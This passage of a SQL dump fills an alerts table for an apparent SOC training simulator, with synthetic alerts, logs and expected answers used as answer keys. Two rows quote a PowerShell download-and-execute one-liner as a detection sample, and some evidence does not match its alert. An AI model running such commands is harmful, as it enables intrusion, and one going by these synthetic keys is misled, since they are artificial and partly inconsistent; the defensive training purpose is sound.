2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.54\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"port\\\":443,\\\"filename\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"encryption\\\":\\\"TLS\\\",\\\"alert_id\\\":\\\"EXFIL-12345\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.238Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.54\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"port\\\":443,\\\"filename\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"encryption\\\":\\\"TLS\\\",\\\"alert_id\\\":\\\"EXFIL-12345\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.238Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.54\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"port\\\":443,\\\"filename\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"encryption\\\":\\\"TLS\\\",\\\"alert_id\\\":\\\"EXFIL-12345\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(601, 'Brute Force Attack Detected on Corporate Server', 'high', 'Splunk', 'Multiple failed login attempts detected from a suspicious foreign IP address targeting the corporate server. This indicates a possible brute force attack.', 'Brute Force', 'T1110', 0, 'Closed', 225, '{\"timestamp\":\"2026-01-11T08:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"45.67.89.123\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"corp-server-01\",\"failed_attempts\":34}', '2026-01-11 14:04:23', '2026-03-07 11:50:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.67.89.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from a known malicious IP strongly indicates a brute force attempt.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.239Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"45.67.89.123\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":34}\"},{\"timestamp\":\"2026-02-01T20:31:22.239Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"45.67.89.123\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":34}\"},{\"timestamp\":\"2026-02-01T20:30:22.239Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"45.67.89.123\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":34}\"},{\"timestamp\":\"2026-02-01T20:29:22.239Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"45.67.89.123\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":34}\"},{\"timestamp\":\"2026-02-01T20:28:22.239Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"45.67.89.123\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":34}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(602, 'Malware Detected via Suspicious Process Execution', 'critical', 'CrowdStrike', 'A known malware file was executed on a company workstation. The file hash matches a sample with widespread detection on VirusTotal.', 'Malware', 'T1059', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.22\",\"username\":\"jdoe\",\"hostname\":\"workstation-55\",\"command_line\":\"C:\\\\malware\\\\bad.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-11 14:04:23', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected by 60 security vendors\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Execution of a file with a known malicious hash indicates a malware infection.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(603, 'Phishing Email Containing Malicious URL', 'high', 'Proofpoint', 'A phishing email containing a malicious URL was received. The URL is known for hosting malware.', 'Phishing', 'T1566', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:05:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.50\",\"username\":\"jsmith\",\"hostname\":\"mail-server-01\",\"email_sender\":\"spoofed@malicious.com\",\"url\":\"http://bad-url.com\"}', '2026-01-11 14:04:23', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"spoofed@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Email address associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://bad-url.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts known malware\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The presence of a malicious URL in the email indicates a phishing attempt aimed at compromising user credentials.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Containing Malicious URL\",\"date\":\"2026-02-01T20:32:22.241Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(604, 'False Positive: Legitimate User Activity Mistaken for Malicious', 'low', 'Firewall', 'A legitimate user accessing an external service was flagged as suspicious due to an incorrect firewall rule.', 'Network Traffic', 'T1040', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T11:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"104.26.2.33\",\"username\":\"mgomez\",\"hostname\":\"laptop-34\",\"domain\":\"example.com\"}', '2026-01-11 14:04:23', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"104.26.2.33\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Reputable domain with no malicious history\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_traffic\",\"analysis_notes\":\"The connection was flagged due to an overly restrictive firewall rule, not because of any real threat.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(605, 'Suspicious PowerShell Execution Detected', 'high', 'CrowdStrike', 'A PowerShell command was executed on the host which is commonly associated with malicious activity. The command attempts to download a file from an external IP address.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-01\",\"command_line\":\"powershell.exe -nop -w hidden -c \\\"IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.45/malicious.ps1\')\\\"\",\"file_hash\":\"abcd1234efgh5678ijkl9012mnop3456\",\"domain\":\"malicious-site.com\"}', '2026-01-11 14:05:25', '2026-02-22 14:52:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 123 times for hosting malicious scripts\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl9012mnop3456\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected in 5/5 antivirus engines\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -c \\\"IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.45/malicious.ps1\')\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command pattern associated with fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command and the external IP address are both indicators of a malicious activity. Immediate action is required.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(606, 'Failed Login Attempts from Foreign IP', 'medium', 'Splunk', 'Multiple failed login attempts detected from an external IP address, indicating a possible brute force attack.', 'Brute Force', 'T1078', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-11T03:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.25\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"WEB-SERVER-01\",\"failed_attempts\":35}', '2026-01-11 14:05:25', '2026-03-05 05:19:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Common username targeted in brute force attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from a foreign IP address indicates a likely brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.244Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:31:22.244Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:30:22.244Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:29:22.244Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:28:22.244Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(607, 'Phishing Email with Malicious URL Detected', 'high', 'Proofpoint', 'A phishing email was received containing a malicious URL, attempting to trick the user into visiting a fake login page.', 'Phishing', 'T1566', 1, 'Closed', 34, '{\"timestamp\":\"2026-01-11T08:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"10.0.0.15\",\"username\":\"asmith\",\"hostname\":\"MAIL01\",\"email_sender\":\"no-reply@fakesite.com\",\"url\":\"http://fakesite.com/login\"}', '2026-01-11 14:05:25', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fakesite.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL known for hosting phishing pages\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"no-reply@fakesite.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Domain recently registered, associated with phishing\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a malicious URL leading to a phishing page. The sender\'s domain is not legitimate.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL Detected\",\"date\":\"2026-02-01T20:32:22.245Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(608, 'Unusual Login Activity Detected from Known VPN Provider', 'low', 'Wazuh', 'A login attempt was detected from an IP address associated with a known VPN provider. The activity appears benign after further investigation.', 'Suspicious Login', 'T1078', 0, 'resolved', 189, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.0.2.10\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jsmith\",\"hostname\":\"LAPTOP-02\"}', '2026-01-11 14:05:25', '2026-02-22 15:15:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with benign VPN provider\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is associated with a legitimate VPN provider, and the login activity matches a known user\'s behavior.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.246Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.0.2.10\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.246Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.0.2.10\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.246Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.0.2.10\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.246Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.0.2.10\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.246Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.0.2.10\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(609, 'Suspicious PowerShell Execution Detected', 'high', 'CrowdStrike', 'A suspicious PowerShell script was executed on an internal machine. This script is known to download additional malware.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC01\",\"command_line\":\"powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.example.com\')\",\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\"}', '2026-01-11 01:10:03', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, not exposed to the internet.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.example.com\')\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Known malicious PowerShell command to download and execute scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware campaigns.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command is a known indicator of compromise for malware download and execution.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 